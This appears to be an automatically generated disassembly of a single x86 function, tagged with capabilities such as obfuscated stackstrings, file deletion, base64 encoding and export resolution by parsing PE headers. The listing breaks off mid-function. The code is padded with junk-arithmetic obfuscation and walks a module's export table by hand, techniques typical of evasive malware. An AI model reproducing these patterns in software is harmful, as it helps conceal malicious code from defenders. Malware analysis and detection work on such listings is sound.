Function at 0x1003e91e
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using base64
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007bffd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xd44
and dword [ebp - 0x1c], 0
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10044480
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x144], 0x477862f
mov dword [ebp - 0x8f4], 1
mov dword [ebp - 0xa64], 0xac3a6081
mov byte [ebp - 0xdb], 0
movzx eax, byte [ebp - 0xdb]
test eax, eax
je 0x1003e990
push 1
push 0x4cd4
call fcn.1003dade
pop ecx
pop ecx
mov dword [ebp - 0x144], 2
jmp 0x1003e9a9
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xf
jge 0x1003ec2b
mov dword [ebp - 0x7c], 0x98070ade
mov dword [ebp - 0x914], 0xffffffff
mov dword [ebp - 0xa2c], 0xffffffff
mov dword [ebp - 0x58], 0
jmp 0x1003e9e1
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 2
jge 0x1003e9f7
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xa48], 0x756a3367
jmp 0x1003e9da
mov dword [ebp - 0x58], 0
jmp 0x1003ea07
mov eax, dword [ebp - 0x58]
inc eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 3
jge 0x1003ea1d
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0xc8c], 0xfe936be8
jmp 0x1003ea00
mov dword [ebp - 0x7c], 0xb
jmp 0x1003ea2d
mov eax, dword [ebp - 0x7c]
inc eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0x10
je 0x1003eb00
mov dword [ebp - 0x214], 0
jmp 0x1003ea50
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jge 0x1003ea6c
mov eax, dword [ebp - 0x214]
mov dword [ebp + eax*4 - 0x14c], 0
jmp 0x1003ea43
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x14c], 1
jmp 0x1003ea9a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x14c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x14c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x14c], 0
jl 0x1003eae9
mov byte [ebp - 0xea], 0
movzx eax, byte [ebp - 0xea]
test eax, eax
je 0x1003ead0
push 0
push 0x49db
push 0x2349
call fcn.1003df36
add esp, 0xc
mov byte [ebp - 0xec], 0
push 0
lea eax, [ebp - 0xec]
push eax
call fcn.1003dc84
pop ecx
pop ecx
jmp 0x1003ea7f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xa48], 0
je 0x1003eafb
jmp 0x1003eb00
jmp 0x1003ea26
mov dword [ebp - 0x7c], 0
jmp 0x1003eb10
mov eax, dword [ebp - 0x7c]
dec eax
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0xffffffef
je 0x1003ec26
mov dword [ebp - 0x464], 0xfc3
mov dword [ebp - 0x344], 0xffffffff
mov dword [ebp - 0x1d4], 0
jmp 0x1003eb47
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 2
jge 0x1003eb63
mov eax, dword [ebp - 0x1d4]
mov dword [ebp + eax*4 - 0xa54], 0xbb101eb6
jmp 0x1003eb3a
cmp dword [ebp - 0x464], 0
je 0x1003eb92
mov eax, dword [ebp - 0x344]
neg eax
inc eax
mov ecx, dword [ebp - 0x344]
inc ecx
mov dword [ebp - 0x344], ecx
test eax, eax
je 0x1003eb92
mov dword [ebp - 0x38c], 1
jmp 0x1003eb99
and dword [ebp - 0x38c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x38c]
mov dword [ebp + eax - 0xa54], ecx
mov eax, dword [ebp - 0x7c]
cmp eax, dword [ebp - 0x38c]
jge 0x1003ebc3
mov dword [ebp - 0x734], 1
jmp 0x1003ebca
and dword [ebp - 0x734], 0
mov eax, dword [ebp - 0x464]
cmp dword [ebp - 0x914], eax
jl 0x1003ebea
mov eax, 0xfffa
test eax, eax
jne 0x1003ebea
and dword [ebp - 0x73c], 0
jmp 0x1003ebf4
mov dword [ebp - 0x73c], 1
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0x73c]
jne 0x1003ec0e
mov dword [ebp - 0x768], 1
jmp 0x1003ec15
and dword [ebp - 0x768], 0
mov eax, dword [ebp - 0x768]
mov dword [ebp - 0x8f4], eax
jmp 0x1003eb09
jmp 0x1003e99c
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x6c8], eax
mov dword [ebp - 0x154], 0xffffffff
mov dword [ebp - 0x154], 0xffffffe9
jmp 0x1003ec57
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0xfffffff7
jl 0x1003eca0
mov byte [ebp - 0xdd], 0
movzx eax, byte [ebp - 0xdd]
test eax, eax
je 0x1003ec90
push 0x7b1c
push 0x2e6c
push 0x2452
push 0
push 0x6c9f
call fcn.1003e29a
add esp, 0x14
push 1
push 0x512d
call fcn.1003db1c
pop ecx
pop ecx
jmp 0x1003ec4a
mov eax, dword [ebp - 0x6c8]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x1003ecb5
jmp 0x1004451c
mov dword [ebp - 0x7d8], 0xfffffff6
mov dword [ebp - 0x7d4], 0xfffffff6
mov dword [ebp - 0x7d0], 0xfffffff6
mov dword [ebp - 0x7cc], 0xfffffff6
mov dword [ebp - 0xac], 0xfcb50bf3
mov dword [ebp - 0x400], 0xffffffff
mov dword [ebp - 0x3a8], 0xfffffff9
mov dword [ebp - 0x72c], 0x83d1f0df
mov dword [ebp - 0x3b0], 0x3e469209
mov dword [ebp - 0x8fc], 0xffffffff
mov dword [ebp - 0x7fc], 0
mov dword [ebp - 0xa34], 0xffffffff
mov dword [ebp - 0xac], 3
jmp 0x1003ed46
mov eax, dword [ebp - 0xac]
dec eax
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jl 0x1003f0ae
mov dword [ebp - 0x138], 0x39c9d940
mov dword [ebp - 0x90c], 9
mov dword [ebp - 0x1dc], 0
jmp 0x1003ed80
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 4
jge 0x1003ed9c
mov eax, dword [ebp - 0x1dc]
mov dword [ebp + eax*4 - 0x9ec], 0x4d9a54e5
jmp 0x1003ed73
mov eax, dword [ebp - 0xac]
cmp dword [ebp + eax*4 - 0x7d8], 0xffffffff
je 0x1003edb8
mov dword [ebp - 0x7ac], 1
jmp 0x1003edbf
and dword [ebp - 0x7ac], 0
mov dword [ebp - 0x400], 1
mov eax, 0x31aa08
test eax, eax
jle 0x1003edde
mov dword [ebp - 0x770], 1
jmp 0x1003ede5
and dword [ebp - 0x770], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x7d8]
cmp dword [ebp - 0x770], eax
je 0x1003ee0c
cmp dword [ebp - 0x3a8], 0
jne 0x1003ee0c
and dword [ebp - 0x778], 0
jmp 0x1003ee16
mov dword [ebp - 0x778], 1
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp + eax*4 - 0x7d8]
cmp dword [ebp - 0x778], eax
jge 0x1003ee37
mov dword [ebp - 0x780], 1
jmp 0x1003ee3e
and dword [ebp - 0x780], 0
cmp dword [ebp - 0x780], 0x43ee
jle 0x1003ee56
mov dword [ebp - 0x748], 1
jmp 0x1003ee5d
and dword [ebp - 0x748], 0
mov eax, dword [ebp - 0x7ac]
cmp eax, dword [ebp - 0x748]
jge 0x1003ee77
mov dword [ebp - 0x784], 1
jmp 0x1003ee7e
and dword [ebp - 0x784], 0
mov eax, dword [ebp - 0x72c]
cmp dword [ebp - 0x784], eax
jne 0x1003ee98
mov dword [ebp - 0x3f0], 1
jmp 0x1003ee9f
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x72c]
cmp dword [ebp - 0x3f0], eax
jl 0x1003eeb9
mov dword [ebp - 0x5d0], 1
jmp 0x1003eec0
and dword [ebp - 0x5d0], 0
mov eax, dword [ebp - 0x3a8]
cmp dword [ebp - 0x5d0], eax
jle 0x1003eeda
mov dword [ebp - 0x3f8], 1
jmp 0x1003eee1
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp + eax*4 - 0x7d8]
inc eax
push 4
pop ecx
imul ecx, ecx, 3
mov ecx, dword [ebp + ecx - 0x7d8]
add ecx, dword [ebp - 0x3f8]
cmp eax, ecx
jl 0x1003ef12
mov dword [ebp - 0x394], 1
jmp 0x1003ef19
and dword [ebp - 0x394], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x394]
mov dword [ebp + eax - 0x9ec], ecx
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0xd683
je 0x1003ef50
mov dword [ebp - 0x6c0], 1
jmp 0x1003ef57
and dword [ebp - 0x6c0], 0
mov eax, dword [ebp - 0x6c0]
mov dword [ebp - 0x3b0], eax
mov eax, dword [ebp - 0x3a8]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x3b0], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x9ec]
cmp eax, dword [ebp - 0x3b0]
je 0x1003ef9c
mov dword [ebp - 0x738], 1
jmp 0x1003efa3
and dword [ebp - 0x738], 0
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x7d8]
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x5d8]
mov dword [ebp + eax*4 - 0x7d8], ecx
mov eax, dword [ebp - 0x400]
cmp dword [ebp - 0x5d8], eax
jl 0x1003efe3
mov dword [ebp - 0x408], 1
jmp 0x1003efea
and dword [ebp - 0x408], 0
mov eax, dword [ebp - 0x8fc]
imul eax, dword [ebp - 0x408]
cmp eax, 0xdd8e
jg 0x1003f00a
mov dword [ebp - 0x410], 1
jmp 0x1003f011
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x738]
cmp eax, dword [ebp - 0x410]
jl 0x1003f02b
mov dword [ebp - 0x5e0], 1
jmp 0x1003f032
and dword [ebp - 0x5e0], 0
cmp dword [ebp - 0x5e0], 0xfffffff7
jb 0x1003f047
mov dword [ebp - 0x904], 1
jmp 0x1003f04e
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0xa3c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9ec]
mov dword [ebp - 0xa74], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x9ec], 0x1c37
cmp dword [ebp - 0x90c], 0x1c37
jl 0x1003f096
mov dword [ebp - 0x418], 1
jmp 0x1003f09d
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x7fc], eax
jmp 0x1003ed39
mov byte [ebp - 0xe5], 0
movzx eax, byte [ebp - 0xe5]
test eax, eax
je 0x1003f0c8
push 0
call fcn.1003e559
pop ecx
mov eax, dword [ebp - 0x6c8]
mov ecx, dword [ebp - 0x3c]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xd0], ecx
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0x4550
je 0x1003f0ed
jmp 0x1004451c
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xd0]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x15c], 0xffffffff
mov dword [ebp - 0x934], 0xfffffff6
mov dword [ebp - 0x92c], 0xffffffff
mov dword [ebp - 0xa7c], 0xffffffff
mov dword [ebp - 0x91c], 1
mov dword [ebp - 0x420], 0xde21e525
mov dword [ebp - 0x80], 0
jmp 0x1003f14c
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x1003f162
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xd10], 0xdc85f70a
jmp 0x1003f145
mov dword [ebp - 0x80], 0
jmp 0x1003f172
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x1003f188
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0xd34], 0xffffffff
jmp 0x1003f16b
mov dword [ebp - 0x15c], 0
jmp 0x1003f1a1
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jg 0x1003f27e
mov dword [ebp - 0xa84], 0x835a23e8
mov dword [ebp - 0x70], 0
jmp 0x1003f1c8
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1003f1de
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x924], 0xb315
jmp 0x1003f1c1
mov dword [ebp - 0x70], 0
jmp 0x1003f1ee
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 3
jge 0x1003f204
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0xd40], 0x7c8748af
jmp 0x1003f1e7
lea eax, [ebp - 0x91c]
push eax
push 0x3b06
push 0
call fcn.1003df98
add esp, 0xc
mov dword [ebp - 0x420], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x924]
cmp dword [ebp - 0x420], eax
jl 0x1003f245
mov dword [ebp - 0x5e8], 1
jmp 0x1003f24c
and dword [ebp - 0x5e8], 0
mov eax, dword [ebp - 0x92c]
cmp dword [ebp - 0x5e8], eax
je 0x1003f266
mov dword [ebp - 0x428], 1
jmp 0x1003f26d
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x934], eax
jmp 0x1003f194
mov eax, dword [ebp - 0x50]
cmp dword [eax + 4], 0
jne 0x1003f28c
jmp 0x1004451c
mov dword [ebp - 0xb8], 0xffffffff
mov dword [ebp - 0x974], 0x65d3384f
mov dword [ebp - 0x90], 0
jmp 0x1003f2b9
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 4
jge 0x1003f2d5
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0x794], 0
jmp 0x1003f2ac
mov dword [ebp - 0x90], 0
jmp 0x1003f2ee
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 1
jge 0x1003f30a
mov eax, dword [ebp - 0x90]
mov dword [ebp + eax*4 - 0xa4], 0x9a2
jmp 0x1003f2e1
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xa8c], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x794]
cmp dword [ebp + eax - 0x794], ecx
jg 0x1003f33e
mov dword [ebp - 0x774], 1
jmp 0x1003f345
and dword [ebp - 0x774], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x794]
cmp dword [ebp - 0x774], eax
jne 0x1003f366
mov dword [ebp - 0x430], 1
jmp 0x1003f36d
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x430]
add ecx, 0x6c79
imul eax, ecx
test eax, eax
je 0x1003f3a2
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x794], 0
je 0x1003f3a2
mov dword [ebp - 0x5f0], 1
jmp 0x1003f3a9
and dword [ebp - 0x5f0], 0
mov eax, dword [ebp - 0x5f0]
add eax, 0x6ee4e912
mov dword [ebp - 0x93c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x93c]
mov dword [ebp + eax - 0x794], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0xa94], eax
xor eax, eax
je 0x1003f40d
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xb8]
mov dword [ebp + eax - 0x794], ecx
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x794], 0xffffffff
jmp 0x1003f6d1
mov dword [ebp - 0x164], 0xe069
mov dword [ebp - 0x110], 0x35cb5140
mov dword [ebp - 0x3bc], 0x56d4c01e
mov dword [ebp - 0x97c], 1
mov dword [ebp - 0x1e4], 0
jmp 0x1003f44e
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x1003f46a
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0xb98], 0x2b873148
jmp 0x1003f441
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0xa9c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0xaa4], eax
mov eax, dword [ebp - 0x164]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0xa4]
jle 0x1003f4ab
mov dword [ebp - 0x438], 1
jmp 0x1003f4b2
and dword [ebp - 0x438], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x794]
mov dword [ebp - 0x3bc], eax
mov eax, dword [ebp - 0x3bc]
sub eax, dword [ebp - 0x438]
je 0x1003f4ef
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0
je 0x1003f4ef
mov dword [ebp - 0x6d0], 1
jmp 0x1003f4f6
and dword [ebp - 0x6d0], 0
cmp dword [ebp - 0x6d0], 0xf5b872a
jge 0x1003f50e
mov dword [ebp - 0x440], 1
jmp 0x1003f515
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0x440]
jne 0x1003f53f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xa4], 0
je 0x1003f53f
mov dword [ebp - 0x964], 1
jmp 0x1003f546
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xaac], eax
cmp dword [ebp - 0x110], 0
jne 0x1003f574
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x794], 0
jne 0x1003f574
and dword [ebp - 0x96c], 0
jmp 0x1003f57e
mov dword [ebp - 0x96c], 1
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x794], 0xffffffff
jne 0x1003f59a
mov dword [ebp - 0x5f8], 1
jmp 0x1003f5a1
and dword [ebp - 0x5f8], 0
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x5f8], eax
jge 0x1003f5bb
mov dword [ebp - 0x3c8], 1
jmp 0x1003f5c2
and dword [ebp - 0x3c8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp + eax - 0x794], ecx
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0x974], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
mov dword [ebp - 0xab4], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0xabc], eax
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0xb10], eax
mov eax, dword [ebp - 0xb8]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0xa4]
cmp eax, dword [ebp - 0x164]
jg 0x1003f63d
cmp dword [ebp - 0x3bc], 0
je 0x1003f63d
mov dword [ebp - 0x448], 1
jmp 0x1003f644
and dword [ebp - 0x448], 0
imul eax, dword [ebp - 0x448], 0
cmp eax, dword [ebp - 0xb8]
jg 0x1003f668
cmp dword [ebp - 0x110], 0
je 0x1003f668
mov dword [ebp - 0x740], 1
jmp 0x1003f66f
and dword [ebp - 0x740], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa4]
cmp dword [ebp - 0x740], eax
jle 0x1003f690
mov dword [ebp - 0x450], 1
jmp 0x1003f697
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x450]
sub eax, dword [ebp - 0xb8]
cmp eax, dword [ebp - 0x97c]
jle 0x1003f6b7
mov dword [ebp - 0x600], 1
jmp 0x1003f6be
and dword [ebp - 0x600], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x600]
mov dword [ebp + eax - 0xb98], ecx
and dword [ebp - 0x34], 0
mov eax, dword [ebp - 0xd0]
movzx eax, word [eax + 0x14]
mov ecx, dword [ebp - 0xd0]
lea eax, [ecx + eax + 0x18]
mov dword [ebp - 0xd8], eax
and dword [ebp - 0x3c4], 0
jmp 0x1003f714
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
mov eax, dword [ebp - 0xd8]
add eax, 0x28
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0xd0]
movzx eax, word [eax + 6]
cmp dword [ebp - 0x3c4], eax
jge 0x1003f790
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x458], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x458]
jb 0x1003f78b
mov eax, dword [ebp - 0xd0]
push dword [eax + 0x38]
mov eax, dword [ebp - 0xd8]
push dword [eax + 8]
call fcn.1003da16
pop ecx
pop ecx
add eax, dword [ebp - 0x458]
mov dword [ebp - 0x998], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x998]
jae 0x1003f78b
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd8]
mov eax, dword [eax + 0x14]
sub eax, dword [ecx + 0xc]
mov dword [ebp - 0x34], eax
jmp 0x1003f790
jmp 0x1003f6f8
cmp dword [ebp - 0x34], 0
jne 0x1003f79b
jmp 0x1004451c
mov dword [ebp - 0xf0], 0xf4727cad
mov dword [ebp - 0x478], 0xfffffff8
mov dword [ebp - 0x6e0], 0xf42c60ed
mov dword [ebp - 0x808], 0xffffffff
mov dword [ebp - 0x128], 0x51acae7
mov dword [ebp - 0x4c0], 0x14e76493
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0x350], 3
mov dword [ebp - 0x8ec], 0xd66e5dc6
mov dword [ebp - 0x498], 0x3cfcb8f1
mov dword [ebp - 0x630], 0xffffffff
mov dword [ebp - 0x1f4], 1
mov dword [ebp - 0x6e8], 0xbaf1ba13
mov dword [ebp - 0x4b8], 0xffffffff
mov dword [ebp - 0x828], 0x8d342731
mov dword [ebp - 0x2c], 0
jmp 0x1003f841
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003f857
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0xacc], 0
jmp 0x1003f83a
mov dword [ebp - 0x2c], 0
jmp 0x1003f867
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 3
jge 0x1003f87d
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x9a4], 0x4bca925f
jmp 0x1003f860
mov dword [ebp - 0x2c], 0
jmp 0x1003f88d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 1
jge 0x1003f8a3
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x4c8], 0xfff9
jmp 0x1003f886
mov eax, dword [ebp - 0x6e8]
mov dword [ebp - 0xb18], eax
mov eax, dword [ebp - 0x350]
cmp dword [ebp - 0xf0], eax
jl 0x1003f8c9
mov dword [ebp - 0x6d8], 1
jmp 0x1003f8d0
and dword [ebp - 0x6d8], 0
mov eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x948], eax
imul eax, dword [ebp - 0x6d8], 0x3cba
mov dword [ebp - 0x94c], eax
mov eax, dword [ebp - 0x1f4]
dec eax
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x948]
cmp eax, dword [ebp - 0x94c]
jl 0x1003f913
mov dword [ebp - 0x460], 1
jmp 0x1003f91a
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x460], eax
jle 0x1003f934
mov dword [ebp - 0x608], 1
jmp 0x1003f93b
and dword [ebp - 0x608], 0
mov eax, dword [ebp - 0xf0]
imul eax, dword [ebp - 0x608]
imul eax, dword [ebp - 0xf8]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x9a4]
cmp eax, dword [ebp - 0x498]
jle 0x1003f96f
mov dword [ebp - 0x468], 1
jmp 0x1003f976
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 1
jg 0x1003f98b
mov dword [ebp - 0x744], 1
jmp 0x1003f992
and dword [ebp - 0x744], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x744], eax
jne 0x1003f9ac
mov dword [ebp - 0x470], 1
jmp 0x1003f9b3
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x8ec]
cmp dword [ebp - 0x470], eax
je 0x1003f9cd
mov dword [ebp - 0x480], 1
jmp 0x1003f9d4
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x610], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x610]
mov dword [ebp + eax - 0xacc], ecx
mov eax, dword [ebp - 0x610]
mov dword [ebp - 0x478], eax
mov eax, dword [ebp - 0x478]
mov dword [ebp - 0x6e0], eax
mov eax, dword [ebp - 0x6e0]
cmp eax, dword [ebp - 0x480]
jne 0x1003fa25
mov dword [ebp - 0x618], 1
jmp 0x1003fa2c
and dword [ebp - 0x618], 0
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x618]
jle 0x1003fa46
mov dword [ebp - 0x488], 1
jmp 0x1003fa4d
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x808]
cmp dword [ebp - 0x488], eax
je 0x1003fa67
mov dword [ebp - 0x74c], 1
jmp 0x1003fa6e
and dword [ebp - 0x74c], 0
mov eax, dword [ebp - 0xf0]
cmp dword [ebp - 0x74c], eax
jge 0x1003fa88
mov dword [ebp - 0x490], 1
jmp 0x1003fa8f
and dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x128]
cmp dword [ebp - 0x490], eax
jne 0x1003fab2
mov eax, 0x7d7a760e
test eax, eax
je 0x1003fab2
mov dword [ebp - 0x620], 1
jmp 0x1003fab9
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x620]
sub eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0x498]
jle 0x1003fad9
mov dword [ebp - 0x8d8], 1
jmp 0x1003fae0
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x350]
mov dword [ebp - 0xb20], eax
cmp dword [ebp - 0xf0], 0xffffffff
ja 0x1003fb0a
mov eax, 0x85e8a77f
test eax, eax
je 0x1003fb0a
mov dword [ebp - 0x390], 1
jmp 0x1003fb11
and dword [ebp - 0x390], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x390]
mov dword [ebp + eax - 0x9a4], ecx
cmp dword [ebp - 0x390], 0
jne 0x1003fb3a
xor eax, eax
jne 0x1003fb3a
and dword [ebp - 0x810], 0
jmp 0x1003fb44
mov dword [ebp - 0x810], 1
mov eax, dword [ebp - 0x4c0]
cmp dword [ebp - 0x128], eax
jl 0x1003fe8f
mov dword [ebp - 0x174], 7
mov dword [ebp - 0x4d8], 0x864ea5f7
mov dword [ebp - 0x628], 1
mov dword [ebp - 0x358], 0x4c81e2e8
mov dword [ebp - 0x16c], 0xffffffff
mov dword [ebp - 0x1ec], 0
jmp 0x1003fba1
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 3
jge 0x1003fbbd
mov eax, dword [ebp - 0x1ec]
mov dword [ebp + eax*4 - 0x7f8], 0
jmp 0x1003fb94
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x4d8], 0x6082240a
jne 0x1003fbe1
mov dword [ebp - 0x940], 1
jmp 0x1003fbe8
and dword [ebp - 0x940], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x6e8]
cmp dword [ebp + eax - 0x4c8], ecx
jne 0x1003fc09
mov dword [ebp - 0x4a0], 1
jmp 0x1003fc10
and dword [ebp - 0x4a0], 0
imul eax, dword [ebp - 0x4a0], 0xffff
mov dword [ebp - 0x628], eax
mov eax, dword [ebp - 0x628]
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0x358]
mov dword [ebp - 0xb30], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0x7f8]
cmp dword [ebp + eax - 0x7f8], ecx
jl 0x1003fc60
mov dword [ebp - 0x4a8], 1
jmp 0x1003fc67
and dword [ebp - 0x4a8], 0
cmp dword [ebp - 0x4a8], 0xa6da23ae
jbe 0x1003fc7f
mov dword [ebp - 0x754], 1
